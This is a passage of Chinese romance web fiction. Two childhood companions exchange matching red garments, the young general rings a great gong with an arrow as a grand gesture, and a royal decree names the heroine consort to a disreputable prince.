他极艰难地侧着耳朵,勉强听出几声窸窸窣窣的穿衣动静,那道熏香似乎与她身上的橙花香气微妙地贴合在一起。 慕相玄瞬间烧红了耳根子。 什么礼物呀…… 她该不会是想穿给他看吧? 他还记得那件轻薄得几近透明的小衣,还有那条腿心开口的亵裤……每一件衣物都令人气血翻涌。 那时候他还羞赧难安,不敢细想她穿这身衣物的模样,怎么今日就能直接见到她穿给他看了? 少年慌得胆颤,在那细微的穿衣动静里倍感煎熬,几乎想要转身拔腿就跑。 ……她该不会是不知道,成亲之前他都是个外男吧? 等等…… 她该不会是不知道,其实他是个男的吧? 慕相玄越慌越乱,有些笃定的事情也开始动摇,满脑子杂乱心思,在“她太信任我”与“她压根没拿我当男人”之间胡走游飞。 “相玄。” 一声脆生生的呼唤打断他的神游。 慕相玄遽然回神,听见她浸了蜜糖似的嗓音:“你睁眼看看!” 少年用力闭紧眼睛,头往天上抬:“我不看。” “……你看看。” “不看。” “看看!” “说什么我都不——” “啪”地一声,越清音又一巴掌拍他胳膊上,恼得想跺脚:“我叫你看!” 慕相玄低低呜了声。 他没辙,只能垂头对着地板砖,视死如归地挑开些眼缝。 入眼就是一尘不染的地板砖面,灰白朴素,承托着他玄黑的武官皂靴,还有一双玲珑精致的绣花鞋,乖巧地收在妃粉色的裙摆下…… 嗯……嗯?裙摆? 慕相玄蓦地移起视线。 面前的少女衣裙齐整,连袖口都本本分分地笼住手腕,没有半分旖旎装扮,只是因为方才奔走活动了会儿,一张标致的小脸泛起薄红,些微喘着气儿。 她抿嘴笑笑,露出送礼时的紧张与羞涩:“喜欢吗?” 慕相玄愣愣看着她脸颊上的绯红,下意识说:“喜欢……” 说完,他才醒过神,后知后觉地转头,看向面前新搬来的衣架子。 上面套了件崭新的红衣。 圆领窄袖,袍身紧致,海棠红的暗绣缎面,日光下暗纹流转,衣襟与袖口金线滚边,织着细密的祥云纹路,搭在雪白里衣上头,张扬又不显艳色。 越清音好不容易才将它“穿”到衣架子上,抚抚自己的胸口歇口气,笑道: “那日与二哥逛成衣店,我看见这身衣裳,心里实在中意,便给你买了……” 她端详着他的神色,说道:“你常年跟着我爹爹,平日衣衫非青即褐,为的是瞧起来沉稳内敛,更好服众……” “但明儿是郭将军大婚,你与他出生入死,当然要帮他迎宾应酬。大喜的日子,也该穿得吉祥喜庆些才是。” 越清音摸摸那身海棠红的锦衣,嘴角的梨涡愈发明显。 “这身颜色就刚好,既鲜亮,又不会喧宾夺主……我买了回来,这两天略改过尺寸,你肯定能合穿的。” 慕相玄捧起新衣,看见袖口与腰身的密实针脚,认出她的针线痕迹。 他眸光动了下,轻声问:“你记得我的尺寸?” “当然,我脑瓜子可好!” 越清音神气十足地仰仰脸:“你哪一处的尺寸,没有让我记得清清楚楚的?” 慕相玄:“……” 他的耳根又开始发烫,欲言又止。 而后,他对着她得意可爱的小神情,还是在心底暗骂自己思想可恶,不着痕迹地转移了话题。 “难怪这身衣衫沾上了你的气息。” 那熏香应该就是成衣店里的味道了。 慕相玄极捧场地称赞起来:“很好看,我正愁着明儿该穿什么呢,清音细心入微,永远熟知我的心意。” 越清音听得双眸弯了弯:“世上是不是有个词,叫‘心有灵犀’?” “嗯。” 慕相玄弯腰朝她笑:“真是心有灵犀,我也给你备了礼物。” “真的?”越清音眼里划过亮光。 “真的。” 她飞快打量了眼这间小屋,看不出什么明显的提示,便目光灼灼地跟着慕相玄,看他不紧不慢地将那身新衣收下衣架子,妥帖叠好,放到茶榻边。 总该给她拿礼物了吧! 她坐到矮案前,眼巴巴地问:“要我捂眼睛吗?” 慕相玄忍不住笑:“不用。” 越清音不大满意他对惊喜的不用心,轻轻哼了声。 慕相玄爽快改口:“要的,你捂一下眼睛。” 他转身去开了茶榻边的柜子,顺利摸到里头的木质托盘,却不直接拿出来,反而似有所感地往后投去一眼。 身后的越家姑娘装模作样地捂着双眼,手指间的缝隙却宽得能搭桥,正眨巴着水灵灵的杏眼盯着这边。 慕相玄忍俊不禁。 先前他就说了,这儿不安分、爱偷看的人,分明只有她…… 本来就想叫她不用捂眼睛的,可她似乎也很爱玩惊喜。 少年站在柜子边琢磨了会儿,从怀里摸出一枚柳叶镖。 越清音坐在矮案边上装了半晌,实则早已望眼欲穿,可柜子前的少年将军只站那不动弹,她等久了便很心急。 越清音索性放下手,撑着矮案欲起身:“怎么了……” 话音还未完,就见不远处的人倏然抬手,力度强劲地甩出一叶银光,径直刺入她身旁的高大立柱中,木质柱子被震得颤动两下,铮声低鸣。 立柱中间的系绳被刺断,收捆起来的细软纱幔冉冉垂下,一层又一层地交叠合拢。 飘渺如雾的雪白帘纱,将矮案四面缓缓笼罩起来。 越清音呆呆地看着漫天的纱色烟云,屋子里的绚烂日光被筛滤得柔和似水,令人呼吸也不自觉地跟着放缓。 她入迷地望了半晌,再想起来去看那柜子时,柜边的身影已经不知所踪。 “相玄?” 少女迷茫张望,正想起身寻人,又是一面白纱从身侧轻飘飘地滑落。 她的目光追随过去,捕捉到影影绰绰的身形。 他似乎离得很近。 越清音都不用起身,稍微往旁侧挪了挪,抬手就能摸到那面雪白的纱幔。 对面有人跟着抬手,带她勾着那面雪纱,像分拨水色的银光,将它流畅揭开。 阳光越过纱幔,柔软地流淌过来,率先照亮少年人线条分明的下颌,而后是高挺的鼻梁,投下浅浅阴影,尚且青涩也难挡锐芒。 越清音的视线流连在他的脸上。 他本该是张扬俊秀的长相,可薄窄的双眼皮下,那双长眸毫不遮掩笑意,又多了些令人眷恋的亲昵感。 她忍不住抬起脸靠近些。 慕相玄屈膝半跪着,低头注视着她探近的脸庞,只见方才泛着浅粉的少女脸颊愈发娇艳,眸中水光动人。 他记着先前的乌龙,也想问她“喜欢吗”,可对着她的眼神,他喉结上下滚了滚,话语还是可耻地退缩了一步。 他轻声问她:“好看吗?” 越清音可耻地屈服于美色,点点脑袋:“好看……” 慕相玄低头憋着笑。 越清音反应过来,又是羞恼:“你……” 她真是想叫一声可恶! 营中人人都说慕将军少年英才,书也读得好,打小就端方正直,不像营中的年轻士兵那样爱玩笑瞎闹。 可她怎么觉得,这人很喜欢逗弄她呢? 难不成他把坏心思全都用在她身上了么! 越清音气咻咻地起身要走,却被身后人拉住腕间绸带,听见他说:“清音,看看那是什么?” 少女循着声偏头,一抹似曾相识的海棠红蓦然闯入眼帘。 她愣在原地,怔然看着衣架子套上的新衣裙。 浅纹流转的海棠红缎面,祥云纹的金线滚边,处处都那样熟悉…… “你说,世上是不是有个词,叫作‘心有灵犀’?” 慕相玄松开掌间红绸。 他端详着她的神情,轻声说道:“你逛成衣店的那日,我巡城见到你了。” “那时候,你恰好站在这身红衣旁,远远看着就十分好看……” 他原本还怵着她的“义父”言论,很纠结地不敢过去,可到了钱庄附近,手下的话语又提醒了他。 谁说“予我衣食者,父母也”的? 若是为人夫君,那么给爱美爱俏的夫人买衣裙不也是天经地义么? “本来我已经走远,但念念不忘,还是中途折返回去,将它买了下来……” 越清音记得这身裙子,着实漂亮得如花似锦,可惜她荷包里没剩几个子儿,将它摸了又摸,终是依依不舍地放开了。 她完全没有预料到。 当时她一心想着没见过相玄穿红衣,想为他买一身,却意外被他瞧见了自己的身影,默默为她买下了早已心怡的衣裙。 少女杏眸里明光灿烂,惊喜之情作不得假。 她转着圈儿将崭新的红衣褪下衣架子,抱在怀里爱不释手,翻来覆去地看,嘴上却是嗔怪:“你巡城呢,还中途折回去买裙子?” “也不怕手下人看了笑话……” 慕相玄哑然失笑:“他们看着我长大,怎会笑话我?” 人人都瞧得出他那点小心翼翼又明目张胆的慕艾心思。 他们有怒其不争、每天嚷着“将军您要是不敢,属下愿意亲自替您递情书”的。 还有哀其不幸、每日叹着“越姑娘还没开窍呢,咱将军都快憋不住了”的…… 唯独没有笑话他的。 都是从十几岁过来的,哪有人会笑话他,笑话他不就是笑话曾经的自己么。 一旁的越清音已经哼起了欢快的曲调。 她将那身海棠红衣裙摸了个遍,又抱着裙子转去盥洗的铜镜前,往前往后地照得起劲。 “好看吗好看吗?” “好看好看。” 她心满意足地转到隔扇窗下,那儿视线开阔,阳光充分洒入,竹条编就的茶榻上都是金灿灿的光亮。 少女往上一滚,举着新衣裳晒太阳:“我也觉得很好看呀……” “……咦?” 她忽然定住视线,往新衣上的某处研究:“这儿的针线是……” 慕相玄刚好跟着她来到茶榻边上,斜去一眼,尴尬地轻咳了声。 “嗯……这身衣裳哪哪都好,就是领口太低了。” “我担心你穿得不安心,所以买的时候,就让成衣店的女掌柜帮着改高了些……” 越清音坐起身看他,促狭地笑:“我会不安心?” 慕相玄:“……” 他撇开视线,老实道:“我会不安心。” 说完,他又坦诚道:“这一下,确实让手下们笑话了。” 越清音半点也憋不住,笑得倒在茶榻上打滚。 徐和的清风从隔扇窗外吹拂进来,带着草场上清新干爽的香气。 窗外疏朗的叶影随之投在竹榻上,在少女缎子般的青丝间摇曳,轻快无比。 慕相玄听着她清脆悦耳的笑声,在一片松闲的氛围中,久违地感受到了幼时同住小院时的无忧无虑。 只是他当时懵懂,从没想过会有这么一天,能与她拥有一身同色的红衣。 他手边就是自己的新衣,与她抱在怀里的那身近在咫尺,棠花一样的喜庆色泽,牵连起甜丝丝的蜜意。 “清音。” 慕相玄抚过竹榻上的新衣,指尖轻柔:“你看出来了么,这两件衣裳,裁自同一块料子……” 见她投来视线,他真想问问她愿不愿意明儿陪他穿。 可话语还徘徊在嘴边,隔扇窗外就传来一道撕心裂肺的胡笛声。 两人一惊,齐齐起身望去。 视线所及仍是清净凉爽的庭院景观,树影憧憧,白墙灰瓦,湛蓝的天空澄澈如洗。 但远方那道胡笛声强势地撕裂宁静,声声入耳,破脑刳心一般哐哐直凿两人脑门。 慕相玄恨不得自己彻底聋了才好。 越清音却明白过来:“是郭将军吧?” “记得二哥说过么,鄯善国人成婚,是要禀知天地神明的。” 她坐直身子,把手掩在脸边,像模像样地演起新郎。 “新郎要同天神说,今日起,我与这姑娘就结为夫妻啦,恳请天神祝福保佑我们——” 她笑眯眯地安抚慕相玄:“所以,你就别嫌弃郭将军了。” “想要奉告天神,喜乐得足够大声才行。他这两声胡笛的小小动静,其实还不够看呢!” “是么?” “嗯!”越清音很笃定。 慕相玄也染上笑意:“那要多大的动静才行呀?” 越清音没正经听过鄯善的喜乐,但汉人少年都将问题问到了跟前,她自然不能露了怯。 于是鄯善的少女煞有介事道:“至少得……惊天动地!” 她一边思索,一边说道:“要……气凌霄汉,令听者神魂俱震!还要使鸟兽奔走飞鸣,长声怒传数十里……” 她编得起劲,身边的少年已经笑得仰倒在茶榻上。 慕相玄抬手虚虚遮着眼睛,佯作苦恼:“做鄯善姑娘的新郎,好难啊。” 越清音莞然笑笑,凑到他身侧应和:“好难的。” 她俯着身子,柔顺的发丝滑下肩头,被发带织起来的发辫就在他眼前随风晃悠悠的。 慕相玄伸手轻轻撩起她鬓边的碎发,别到她的耳后去。 越清音舒坦地弯了弯杏眼。 两人安静地乘着徐风,屋子里的雪纱自在浪漫,随风鼓起又缓慢落下。 她听见窗外的胡笛,起初还声嘶力竭几句,而后渐渐有了喜乐的曲调雏形,越来越顺畅。 越清音支起耳朵,叹声道:“今夜子时的喜乐合奏,我真想去听听热闹呢。” “只是郭将军吹得不大熟练,我怕去了会影响他,到时候别成了妨碍婚宴的罪人了……” “你想听?” 慕相玄想了想:“也不是没有办法。” 他侧身在茶榻上画了个简单的方位图:“喜乐在南边的祭台合奏,你的院落靠近南端,打开窗户的话,应该能听见。” 越清音显然不满意:“四面都有院墙与花木阻挡,听也是听不清的……” “这好办。” 慕相玄玩笑道:“待会儿我给你搬架长梯,晚上你爬上屋顶去听。” 越清音:“……” 她凉飕飕地盯住他。 慕相玄憋了半天笑,终于憋不住了,好声哄道:“说笑的,我能让你一个人爬长梯么?” 越清音嘟囔了句:“谁知道你这坏心思的……” “但上屋顶去听,确实是个办法。” 慕相玄斟酌着道:“今夜我带你翻上屋顶,可好?” “届时我给你拿件披风,也不必担心着凉,陪你听上一整夜的喜乐都可以。” “当真么,”越清音迟疑道,“不是骗我的?” 慕相玄心道,别人都是记吃不记打,怎么这姑娘就是记打不记吃的。才逗她两句,她就把往日对她的好全都忘了。 他耐心让她回忆:“我哪回骗过你了?” 越清音绞着细软的衣带,当真开始回想。 眼前的少年尚未及冠,却已经跟了她父亲许多年。 她父亲御下严格,又有意栽培他,自他习武伊始,每日都有练不完的功课、处理不完的军务。 可他总是愿意腾出自己的空闲来陪她。 哪怕起早贪黑地练完功,哪怕日夜兼程地策马来回,他也从不吝啬自己捉襟见肘的歇息时间,总会愿意陪她坐秋千上看一夜的星星,或者陪她坐门槛上看一夜的雨。 她小孩子心性,时常想一出是一出,譬如今夜想听人家的喜乐,多少也有些不讲道理。 但他总是迁就,认认真真地替她筹谋,从未对她表露过半分质疑、为难与不情愿。 越清音是心大,但也并非不识好人心。 她默念着过往的点点滴滴,渐渐地就把脑袋靠到他的肩侧,示好地蹭了蹭。 慕相玄闻到清甜沁人的香气,似有朵柔软的橙花,软乎乎地攀上他的肩头。 少女的棕栗发丝微散开,伴着徐风轻轻挠在他的颈边。 他微微勾了下嘴角,轻声笑道: “只盼今夜越姑娘赏脸,多些耐心,不要每次与我待了两刻钟就犯困,止不住地打瞌睡……” 少年佯装着惆怅道:“好伤人心啊。” 越清音大感窘迫,就要捂他的嘴:“我才没有!” “有的。” 慕相玄一边闪躲,一边同她回顾:“上回你生辰,看雨的时候你就枕在我肩上睡着了……” “还有再上回,你坐秋千上,非要我陪你晃,可我才晃了一刻钟,你就靠着我睡得不省人事……” 她倒好,脑袋一歪就睡得香甜,可他生怕将她吵醒,动也不敢动。 于是,闹着要看雨看星星的少女睡了过去。 反倒是少年听着她的细微呼吸声,老老实实看了一夜的雨和星星。 对上他的戏谑笑眼,越清音又羞又恼,扑过去将他按倒:“今夜定是你先睡着!” 她着急地晃他:“打赌,我与你打赌!” 慕相玄轻而易举擒住她的手腕,腰身一拧就将她翻过来制住,问道:“赌什么?” 越清音稀里糊涂被他压回茶榻上,浓长乌发霎时如墨流淌,浸向二人的衣袂。 她仰面对着他,百般挣不开他铁钳似的手掌,只得促乱地喘着气,还不愿认输。 “赌什么都行!” 慕相玄凌空撑着,闻言,视线不由自主地落到她的脸上,那两片花瓣般娇红的唇轻微张启,像一道柔情蜜意的口子,看起来既香又甜。 ……她说什么都行。 他捕捉到心底刹那间的冲动,慌得蓦然松开手。 少年退到茶榻的另一边,狼狈不堪地低头遮住了眼睛。 越清音只知自己挣脱了桎梏,立马坐起身来:“你躲什么呀?” “你不敢?” 她翘起尾巴审判他:“胆小鬼。” 慕相玄默了许久,低声认了:“我哪里敢啊……” * 越清音到末了也没弄明白,慕相玄到底不敢些什么。 他最后只丢下一句话,叫她傍晚到祭台来,然后就拔腿逃得飞快。 她一向不爱去纠结他那古怪的病情,瞧着天色还早,远不到傍晚,索性回到自己的屋子,认真梳洗了番。 少女年少爱俏,想着既然应约,还特意换上了心爱的新衣裙。 才过酉时不久,她就雀跃地出了门。 这处於康草场是圣上拨款建立的。 祭祀天神的祭台坐落于草场南侧,并非是片广阔的平面,反倒是座巍峨耸立的高塔,足以彰显王朝的不凡气度。 但是因为隶属于越柳营的管辖,越将军热情谏言,所以祭天的木塔改成了砖塔,顶层也免去屋瓦封顶,直接改成能够燃烧烽燧的平面台子。 祭台兼任起烽火台,便有些不伦不类了。 但这也完全符合越清音对她爹的认知:满脑子养活军营,穷得叮当响,见缝插针地从圣上手里蹭钱。 祭台是磕碜了些,但对面的五凤楼还是气宇不凡的,呈“凹”字形的重檐大楼,形若五凤展翅。 居中的高亭里,悬置着鼓舞军心的金钲,楼外层层悬挂铜铃,风吹来就会撩起动听的铃铛声。 夏风和畅,越清音踏着悠扬的铜铃声,步伐轻快地来到祭台前。 海棠红的裙摆袅袅婷婷,无论是在碧绿草场,抑或是在白衫士兵的丛中,都是赏心悦目的存在。 更遑论少女肤色如雪,棕栗的长发泛着夕阳的柔光。 有几位年长的老兵见到她,调侃起来:“哪儿 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他忍不住牙酸:“方才郭将军在那练个胡笛,他夫人就心疼坏了,给他擦了不下十次汗。完了郭将军又一口一个‘夫人辛苦’,反过来给她擦了十一次……” 少年打了个冷颤:“我真是受不了他们俩了!” 小鹅也十分认可,跟着摇摇头。 越清音哭笑不得。 她对两兄弟劝道:“人家夫妻恩爱是好事,你们若觉得肉麻,别往前凑不就好了……” 乌维言委屈地撇撇嘴:“我也不想的,这不是一分钱难倒英雄汉么。” 越将军清廉,一视同仁地穷养三兄妹。 平常吃喝都在营中,他与小鹅不像女孩儿那样需要额外花销,于是习惯了将月钱交到越清音手里,由她看着用。 一般来说也是够花的。 但这个月又是打听消息,又是采买礼品,三兄妹的月钱早就散在了融州城的大街小巷里,每个人的荷包底比他们的脸还要干净。 乌维言愁眉苦脸,叹气道: “我如今有事,急需用钱,便想叫郭将军再给我安排两个差事,挣点补贴……” 结果郭将军光顾着与夫人腻歪,压根没功夫搭理他。 胡人少年惆怅得又灌下一杯冷茶:“现在好了,补贴没挣着,白白看了场郎情妾意……” 听着义兄一连串“受不了受不了”的咕哝声,越清音乐不可支。 “原来只是为了银钱?” 她说:“你不早说,找我拿嘛。” 少女变戏法一般,从身后摸出个影青色的荷包,大方地交到自己二哥手里。 “够不够?” 沉甸甸的荷包压得乌维亚手臂一沉,他托住手里的荷包,只觉此生从未有过如此富裕的时刻。 胡人少年受宠若惊:“我拿一小块银锭就够了。” 见小鹅探着脑袋来看,他又从荷包里摸出小半块:“再拿点,给大哥买些它爱吃的饼子。” 越清音昂首挺胸,像另一只骄傲的小鹅,豪迈道:“拿!” 乌维言将银子妥善收入怀中,才懵然想起问一句:“不对,你哪来的银钱?” 越清音老实答道:“相玄给的。” “他说知道我用完了,巡城时就顺路去钱庄取了钱……” “还有这种好事?” 乌维言羡慕得瞪大眼睛:“你前些时日去望月坊,不是才用完他一袋子银两么……” 他不得不再次感慨起发小的偏心,酸溜溜道:“他事事挑剔我,对你却毫无底线,甚至都没说你花钱花得快……” 越清音也摸摸下巴。 “我也问他了,怎么都没怪我花得快……” 乌维言:“他怎么说的?” 越清音:“他说我花得不快,真要怪的话,也只能怪他挣得慢,是他不好。” 乌维言:“……” 过了会儿,他微微笑道:“不知为何,我现在也有点受不了你们俩了。” 越清音很无辜:“?” 提到慕相玄,乌维言又想起另一件要紧事来。 他拉开身旁的椅子,让越清音先坐下,一脸郑重道:“记得你那两坛女儿红么?” “有一坛开封过的,放在了你的屋子里,你可千万别再碰了,更不许一时兴起,又和相玄开了就喝!” 他捉住义妹的肩膀晃晃:“记住了吗!” 越清音被他晃得迷糊,脑子里的水咕咚咚的,没忍住问道: “若是和他喝了,会怎么样?” 乌维言动作顿住。 他还能感受到自己袖口里有处细小突起,那是个小药包,曾经装满了他为义父新婚夜所调配的狠药。 凭借他对药效了解,喝了那酒…… 啧啧,只怕折腾两个时辰也压不下药性。 在漫长的沉默后,乌维言诡异地扯起嘴角:“若是喝了,你们俩就再也做不成朋友了……” 越清音大惊失色: “我的女儿红竟有如此毒效?” 乌维言屈指弹她脑门:“对啊,你记住了吗?” 越清音小鸡啄米般点点头。 胡人少年满意了。 他站起身来,负手望向夕阳,想起人人都说他与清音是一对卧龙凤雏。 虽说他汉语学得一般,但也大概听得懂,这应该是一种褒奖。 他谦虚地笑笑,心道,其实自己也没多大能耐,只是有几分洞察人心的本领,这不,三言两语就能劝得顽皮的义妹远离危险。 感慨完,乌维言又回身,操心地提点自家妹妹。 “清音,你平日里诸多小性子,对我使使也就罢了,在相玄面前还是注意些吧。” 他也知道,几人一块儿长大,过往的习惯总会妨碍建立新的认知。或许在清音眼里,相玄还是那个沉默寡言的小聋子。 少年按住清音的双肩,苦口婆心地说道:“虽然相玄一向对你言听计从、温柔备至……” “但他到底是个上过沙场的真将军,你觉得,他能是个善茬吗?” 远的不说,光说近的…… 乌维言目光往下,落到越清音腰间的玄黑匕首上。 他至今记得那天军营里满地的污血,怎么擦也擦不干净,连带着底下的草地也被染成猩红色,从此那片喝过血的草坪就茂盛得令人毛骨悚然…… 乌维言心有余悸地哆嗦了下,真害怕越清音哪天胆大妄为,挑起了那杀星的凶性…… 他在这儿提心吊胆,越清音已经开始走神。 少女左看看右看看:“他们到底在忙些什么呀……” 乌维亚:“……” 他霎时满腔关怀梗在喉间,噎得差点背过气去。 如今斜阳西下,天色愈发暗了些,四周的士兵们已经将祭台前的空地布置妥当,桌椅香案,一应俱全。 被无视的胡人少年没好气地应道:“我过来时隐约听见几句,说是什么礼官要来了……” 礼官。 两兄妹后知后觉地醒神,惊讶地对视一眼,异口同声道:“圣旨要到了?” 越清音这才明白过来,周围人群来来往往,原来是在为礼官们布置接风洗尘的下马宴。 她不禁喃喃道:“这么快就到了……” 似在回应她的话音,於康草场的东南正门传来嘹亮的号角声。 一支红绸飞扬的队伍气势浩荡地迈过来。 四周熙攘的士兵们立即肃静。 连郭修谨也放下胡笛,步伐匆匆地过来整理士兵队伍:“排好排好,待会儿都要跪下,知道吗……” 他将越家的三兄妹扽起来,径直往前丢去:“你们几个,站到排头去。” 越过层层人群,背向熟悉的将士们,直接面对京城礼官的高头大马,眼见着他们步步靠近,越清音与乌维亚也有些手足无措。 越清音小声问:“爹爹不在,待会儿咱俩谁接旨啊……” 还没商量明白,仪仗端严的礼官队伍已经来到跟前,金瓜钺斧威严触地,兄妹俩连忙低头噤声,不敢再说话。 四下安静,草场里横贯的风声愈发清晰。 短暂休整后,有位头发花白的礼官终于被人搀下马。 老人四方步沉稳,踏至祭台前,每一步都有笃定回声,似叩在众人心头。 越清音低垂眼帘,不由自主地感到紧张。 她悄然攥住指尖,心中敬叹,这就是圣上赐婚,天家姻缘…… 年迈的礼官停驻脚步,站立在越柳营一众之前。 越清音甚至能感受到,老人用灼灼的目光,缓缓扫视过这支天家的心腹军队。 他的官服红袍交叠摩擦,而后恭谨地捧出一卷明黄锦书。 礼官高高托起那卷圣旨,一声沉浑如松涛: “圣旨到——” 越清音交叠手掌,正欲跪下,耳际却捕捉到一道迅疾破空声。 一道雪亮的银芒划破长空,扎入五凤楼的顶端亭阁中,厚沉的罩布唰声滑落,露出一面魁伟的黄铜金钲。 越清音收回手,错愕地望向那面用来鸣金鼓舞士气的金钲。 身后有人呼喊“慕将军”、“那是慕将军吗”。 众人循着指向,纷纷转头看向祭台。 少年身着一袭鲜亮红衣,伫立在高塔之巅,高高束着的乌发被风扬起,远眺的双眸湛亮英气,手中长弓已经搭上了新箭。 ……这是她第一次见他穿红衣。 越清音出神地望着,恍惚间想起二人午后在那张洒满金黄日光的茶榻上说的话。 “……成婚是要禀知天地神明的……那点小小动静,还不够看呢……” 他笑着问她:“那要多大的动静才行呀……” 夕阳下,祭台上的少年将军挽开弓弦,张出漂亮的满月弧度,稳稳地握持箭矢瞄准。 午后的阳光里,少女巧笑嫣然,亲昵地与身边的少年说笑。 “至少得惊天动地,气凌霄汉!” “……要令听者神魂俱震,使鸟兽奔走飞鸣,长声怒传数十里……” 草场上夕阳如火。 祭台上的慕相玄凝神松指,刹那间,羽箭携着尖啸声刺进五凤楼,割断了捆缚擂钲圆木的绳索。 硕沉的圆木一端划落,裹挟着巨大的惯性划出圆弧,重重撞击在金钲之上。 “铮——” 五凤楼形如扩音巨器,金钲嗡鸣声轰天震地,气浪与疾风呼啸袭卷而去,长草被压得伏身震晃。 在场众人五脏俱震,几欲惊呼捂耳,牧场里雁群倏起,战马扬蹄嘶鸣不止。 有些说不清的情愫,情不自禁地在躁动。 越清音被夕阳照耀得双颊绯红,甚至能感受到自己浑身血液沸腾汹涌,热烈澎湃。 她在琅琅奏响的铜铃声中,迎风往上眺望。 高台上的少年长身玉立,飞扬的发梢几乎与红衣混为一色。 她看到他抬起手,轻松掩在脸边。 她仿佛看到午后的自己,正把手掩在脸边,像模像样地扮演新郎。 “新郎要同天神说,今日起,我与这姑娘就结为夫妻啦,恳请天神祝福保佑我们——” 越清音听到自己激烈砰乱的心跳。 也听见他意气飞扬的清亮嗓音。 “清音!接旨——” 13.那就 一切喧嚣热闹,都已经如潮水般退去。 夜幕垂降,月色初明。 僻静的小院里,屋内寂静昏暗,仅一扇菱花窗浸到些许月光,在薄薄的窗纸映出半面稀疏的庭院树影。 枝节扭曲的影子经风晃动,瘆人阴森,窗边的人如梦方醒,微促着呼吸扑到桌前,手指颤抖地点起两支长烛。 豆大的烛火逐渐明亮,照清屋室一隅。 有卷明黄颜色的锦轴随意摊在桌上,被跳跃的烛光偶然照亮,短短数行金粉朱字,末端有句“册越氏为肃王正妃”,醒目得刺眼。 越清音握着火折子的手又是一抖,逃避似的,将那道圣旨推落桌底,掩埋在黑暗里。 烛光勾勒出的少女身影纤弱,肩膀微微垂下,无助得像丢失了魂魄。 宣旨的过程,越清音已经完全记不起来了。 她只记得迷茫的情绪像海潮翻涌而起,快要将她淹没,然后前方漂来一截能救人的横木。 那位年迈的礼官将圣旨郑重交到她的手上,目光终于放柔几分,难掩慈爱地对她说: “越姑娘,这道圣旨,是慕将军亲自求来的……” ……噢。原来是一截朽烂的坏木。 越清音觉得自己应该是听错了。 前几日士兵们的闲谈犹在耳畔,他们都说那肃王始乱终弃、荒淫无度,是块显然易见的烂肉渣滓。 相玄生在京城,来了融州后也偶有回京,不可能没听说过那王爷的臭名与恶行。 他怎会亲手将她推入那样的火坑里? 他肯定不会的…… 越清音摸来竹盖,将火折子用力合上,指腹抵压时还有隐隐的刺痛感。 ……这些时日,她赶着为他改制新衣尺码,夜里也常挑灯,一不小心就在手上扎错好几针,今日还有些疼。 她抚过指腹,想起平常二哥总是笑她娇气。 二哥常说,她哪怕只是手上扎了个小针眼,也一定要拿给相玄看,还要把手指头递到相玄跟前,举个小半天,好像吃了多大的苦头,总要让他心软地安慰许久。 ……往常只是闲时撒娇。 越清音捻着指腹的针口,委屈地想,这回她真的吃了苦头,很需要他的安慰。 草场广袤,夏季的夜晚也清爽凉快,可越清音仍然觉得屋子里头风气沉闷,闷得胸口发堵。 她站了会儿,索性开门出去。 院墙一侧真的摆了架长梯,她无心去猜是否慕相玄午后准备的,提起裙摆,三两下爬上了屋顶。 越清音就着瓦檐坐下。 月光下,青瓦泛着如鳞波光,摸起来有些微凉。 她稍微抬起下巴,感受到拂面而来的风,流云也被甩到身后。 这本该是她今夜见到的最流畅舒展的景色。 但她眼前的院墙忽然攀上一道灵巧身影。 身着红衣的少年蹲踞上墙头,燕子般凌空一翻,衣袂起落间,已经稳稳站在了她的院子里,连半片尘土都未惊起。 整套动作连贯自如,堪称行云流水。 越清音默默地想,他穿这身红衣的模样,真是比她想象中的还要好看。 慕相玄单手搂着件披风,打量格外昏暗的院落,一眼看见屋檐上的少女身影。 他有些意外,快步走到檐下:“怎么不等我,你自己爬那长梯不害怕么?” 借着月光,越清音看清他眼里流露出的关切之情,真挚得不似作假。 她无声迎对良久,才轻轻开口道。 “我幼时学走路,是在十丈高的城楼上学的,怎会害怕区区九尺长梯呢?” 慕相玄哑然一瞬,失笑道:“是我关心则乱了。” 他连梯子都懒得用,随手搭住墙沿,靴尖借力一蹬,就跟猫儿似的轻盈翻上了屋檐,还能分心与她说笑。 “我险些忘了,以前听老兵们说,你小时候不知天高地厚,还有胆子在城楼的齿锯上翻跟斗,将值守的众人吓得差点晕厥。” 越清音听见披风抖开的声音,随后带着少年体温的披风笼上她的肩头,绵软的系带擦过下颌,些微发痒。 慕相玄蹲在她身前,给她系上系带。 他心情颇佳地逗弄面前的少女:“幼时无惧飞檐走壁,长大后却连走夜路都要有人陪。” “你说,一个人,怎会有这么大的变化呀?” 越清音怔然望着他眼底的笑意,熟悉万分,能让她轻松回忆起过往他对她的种种关心爱护,也让她难以质疑他对她的情谊。 然而—— “越姑娘,这道圣旨,是慕将军亲自求来的……” 年迈礼官的话语字字清晰,犹然在耳,就像在纯白纸面上压出一道折痕,渐有深化撕裂的迹象。 怎么可能呢…… 她心神不宁,只想抹平纸面的折痕,抓着他的话语喃喃道:“一个人,不该有这么大的变化的……” 慕相玄系好系带,掀袍坐到她身边,亲昵地对她笑道:“若非我亲眼见到,我真是不信。” 越清音轻声呢喃:“我也不信。” 他对她那么好,怎么可能让她嫁给肃王呢…… 风清月朗,两人并肩坐到翘起的鸱吻下,能从此俯瞰大片草场夜景。 郭家的喜宴已经装扮就绪,一串串圆润喜庆的红灯笼罗列在屋前檐下,就像落到人间的星河。 身边的少年姿态放松地展开长腿,她却抱着自己的膝盖,蜷缩成小小一团。 越清音是藏不住事的性子,心底的线头毛毛糙糙地翘着,她按不下去,索性改手揪住它。 她决定问个明白,转身唤道:“相玄……” “清音。”慕相玄刚好开口。 他远眺着草场南侧的祭台夜影,轻轻扬起嘴角:“从前读过诗歌,时人称赞窈窕淑女,总爱写君子的琴瑟友之、钟鼓乐之。” “我少时懵懂,直至今日金钲震响,才在刹那间明白,原来这是件那么浪漫的千古常事啊……” 越清音呆了会儿:什么啊,听不懂。 慕相玄侧过脸,轻声问道:“还记得去年你的生辰,我最后说了什么吗?” 越清音记得那个秋意凉爽的夜晚,他从遥遥关外赶回来,陪她看了一夜的雨。 她木讷地点点头,说道:“你说你不会让我嫁给二皇子,让我放心……” “不是这句。” 慕相玄眼里流转着笑意:“再往后些。” “再往后……”越清音苦恼地咬咬唇。 当时已然夜深,她开始点着脑袋打瞌睡……好似在蒙蒙细雨声中,他说了句什么…… 是了。 越清音松开唇瓣。 他叫她伸手过去,就着朦胧的屋角烛光,在她手心里写了个什么字。 彼时他衣衫上沾着清凉雨意,微垂的眼眸也湿漉漉的,写完后缓了许久才看向她,极轻的话音几乎能融进雨声里:“你等我……” 屋檐上的越清音下意识展开手,看向空空如也的手掌心,茫然地想,等他什么…… 